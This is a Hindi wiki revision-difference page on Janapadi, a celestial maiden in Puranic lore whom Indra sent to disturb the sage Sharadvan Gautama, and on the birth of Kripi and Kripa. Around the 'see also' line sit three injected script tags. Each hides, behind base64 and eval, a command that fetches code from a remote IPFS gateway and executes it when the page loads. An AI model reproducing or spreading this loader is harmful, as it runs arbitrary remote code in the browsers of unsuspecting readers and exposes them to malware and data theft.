"जानपदी" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
(''''जानपदी''' पौराणिक धर्मग्रंथों के अनुसार एक देवकन्य...' के साथ नया पन्ना बनाया)
 
 
पंक्ति 7: पंक्ति 7:
 
*शिकार खेलते हुए [[हस्तिनापुर]] के महाराज [[शांतनु]] को वे शिशु प्राप्त हुए। उन दोनों का नाम '[[कृपि]]' और 'कृप' रखकर शांतनु ने उनका लालन-पालन किया।
 
*शिकार खेलते हुए [[हस्तिनापुर]] के महाराज [[शांतनु]] को वे शिशु प्राप्त हुए। उन दोनों का नाम '[[कृपि]]' और 'कृप' रखकर शांतनु ने उनका लालन-पालन किया।
  
 +
 +
{{seealso|मेनका|रम्भा|उर्वशी|विश्वामित्र}}
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}

13:00, 10 अप्रैल 2014 के समय का अवतरण

जानपदी पौराणिक धर्मग्रंथों के अनुसार एक देवकन्या थी, जिसे देवराज इन्द्र ने महर्षि शरद्वान गौतम की तपस्या भंग करने के लिए भूलोक पर भेजा था।

  • शरद्वान गौतम घोर तपस्वी थे, जिनकी गिनती उस समय के महर्षियों में की जाती थी। उनकी विकट तपस्या ने इन्द्र को अत्यंत चिंता में डाल दिया था।
  • इन्द्र ने शरद्वान की तपस्या को भंग करने के लिए 'जानपदी' नामक देवकन्या को उनके आश्रम में भेजा।
  • जानपदी के सौंदर्य पर मुग्ध होकर शरद्वान गौतम का अनजाने ही वीर्यपात हो गया। वह वीर्य सरकंडे के समूह पर गिरकर दो भागों में विभक्त हो गया, जिससे एक कन्या और एक पुत्र का जन्म हुआ।
  • शरद्वान धनुर्वेत्ता थे। वे धनुष बाण तथा काला मृगचर्म वहीं छोड़कर कहीं चले गये।
  • शिकार खेलते हुए हस्तिनापुर के महाराज शांतनु को वे शिशु प्राप्त हुए। उन दोनों का नाम 'कृपि' और 'कृप' रखकर शांतनु ने उनका लालन-पालन किया।


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: मेनका, रम्भा, उर्वशी एवं विश्वामित्र<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख